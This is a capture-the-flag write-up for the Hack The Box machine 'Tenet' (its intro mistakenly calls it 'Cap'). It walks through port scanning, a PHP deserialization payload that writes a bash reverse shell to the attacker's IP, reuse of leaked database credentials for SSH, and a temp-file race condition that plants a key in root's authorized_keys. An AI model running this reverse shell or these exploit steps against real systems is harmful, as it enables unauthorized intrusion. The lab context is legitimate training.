HTB: Tenet Writeup
There are spoilers below for the Hack The Box box named Cap. Stop reading here if you do not want spoilers!!!
Enumeration
Beginning this box as every box, with a nmap
scan of the box to locate open ports.
$ sudo nmap -sC -sV -oA nmap/tenet 10.10.10.223
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 20:00 EDT
Nmap scan report for 10.10.10.223
Host is up (0.079s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds
Foothold
The box appears to have only two open ports (80
and 22
). Visiting port 80
, it appears to be an Apache site, so then running gobuster
on it locates an interesting directory:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://10.10.10.223
...{snip}...
/wordpress (Status: 301}
...{snip}...
Visiting the /wordpress
URL in Firefox gives a badly formatted Wordpress site, which looks like it’s trying to add resources from tenet.htb
. So we may add 10.10.10.223 tenet.htb
to our /etc/hosts
file.
Browsing the site, I see a user neil
posted a comment:
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
So that’s interesting, it sounds like there’s a “sator” php file (maybe sator.php
?). Visiting http://tenet.htb/sator.php
gives a 404 error, but remembering from before, we’re within the /wordpress
directory, so what about http://10.10.10.223/sator.php
? Success!!
This sator.php
script is printing the following:
[+] Grabbing users from text file
[] Database updated
The comment from neil on the Wordpress form mentioned a backup file, so accessing http://10.10.10.223/sator.php.bak
and it exists!
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
Examining this PHP script, we may see that it is receiving user input via arepo
variable, passing that to unserialize
, then calling the DatabaseExport
class. This looks like a classic example of PHP object deserialization. Basically, from my understanding, what is happening is that PHP will allow you to serialize a class and all of the data within it into a string which may then be deserialized back into a class. Then when the control flow exits, the __destruct
function is called on it. In this example, the __destruct
function writes the data
value to user_file
. More on PHP deserialization may be read here.
Since we know the name of the class (DatabaseExport
) as well as the variable names (user_file
and data
), we can construct a payload that is a deserialized PHP object that will allow us to write data out to an arbitrary output file of our choice.
For this payload, we will write out to a PHP file with a very basic reverse shell.
To begin with, the reverse shell that I’d like to attempt is the following:
/bin/bash -c 'bash -i > /dev/tcp/10.10.14.204/9000 0>&1'
Wrapping this in a PHP script to execute it, I get:
<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.204/9000 0>&1'"); ?>
However, I forsee a problem here. Specifically the “&” character, which in a URL is treated as a special delimiter and might throw the payload off. So instead I’m going to base64 encode the reverse shell payload:
$ echo "/bin/bash -c 'bash -i > /dev/tcp/10.10.14.204/9000 0>&1'" | base64
L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK
Then, use the base64_decode
function in PHP to decode it before executing it:
<?php exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK"));
So that’s the payload I want to eventually write to a file.
Next up, I need to serialize that and put it into a proper payload that will deserialize correctly. For this, I’ll construct the following payload:
O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"rshell.php";s:4:"data";s:106:"<?php exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK"));";}
Above we begin with “O” (the letter Oh, not the number zero) to tell PHP that this is an object, followed by the length of the name (14) and the name (“DatabaseExport”). Next the “2” tells PHP that there are two elements in the next section. Within the section we use “s” to denote a string, then “9” for the length of the next string, which is the name of the variable, and the variable itself (“user_file”). Following that we have the same format to provide the variable contents (“rshell.php”). This is then repeated for the “data” variable to contain our payload.
If all goes well, this should generate a file named “rshell.php” which contains the payload to generate a reverse shell.
When using FireFox, the payload may be directly pasted in and FireFox will encode it. However, I like to be a little cautious and pre-encode before uploading.
$ hURL -U 'O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"rshell.php";s:4:"data";s:106:"<?php exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK"));";}'
Original :: O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"rshell.php";s:4:"data";s:106:"<?php exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK"));";}
URL ENcoded :: O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A10%3A%22rshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A106%3A%22%3C%3Fphp%20exec%28base64_decode%28%22L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK%22%29%29%3B%22%3B%7D
Now that we have the URL encoded payload, we may submit this via the PHP page.
$ curl 'http://10.10.10.223/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A10%3A%22rshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A106%3A%22%3C%3Fphp%20exec%28base64_decode%28%22L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK%22%29%29%3B%22%3B%7D'
Setting up a netcat listener and visiting the page, we receive a successful callback.
$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.14.204] from (UNKNOWN) [10.10.10.223] 29836
python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@tenet:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@tenet:/var/www/html$
We’ve successfully logged in as the www-data
user!
Privesc
Now we need to enumerate and determine exactly what we can do. For this I ran linpeas.sh
to locate anything useful, which found the MySQL login information
Mysql Database: wordpress
Mysql User: neil
Mysql Pass: Opera2112
Quickly checking those credentials, the user neil
has the same password for SSH, so we now have SSH access as neil
.
An additional note is that the script /usr/local/bin/enableSSH.sh
may be executed by sudo
by all users. However, without the www-data
password, that wasn’t possible. But now that we have neil
, that’s possible.
Taking a closer look at the enableSSH.sh
script, it appears to have a hardcoded SSH public key inside of it, it then writes that key to a temporary file, then echos that temporary file into /root/.ssh/authorized_keys
. If we’re able to somehow intercept that temporary file after it is created but before it is sent into the root SSH keys, we can inject our own key into it. This is basically a race condition.
To do this, we could use python
since that’s on the box, but it’s also possible to do this with a simple bash script.
$ while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAA...AlU= kali@kali" | tee /tmp/ssh-* >/dev/null; done
The above will loop continuously and copy our SSH public key into the /tmp/ssh-*
file path if/when it exists. This took a couple times before it successfully worked.
$ sudo /usr/local/bin/enableSSH.sh
After executing the above a few times to make sure that the SSH key has made it in, we can then SSH in as root!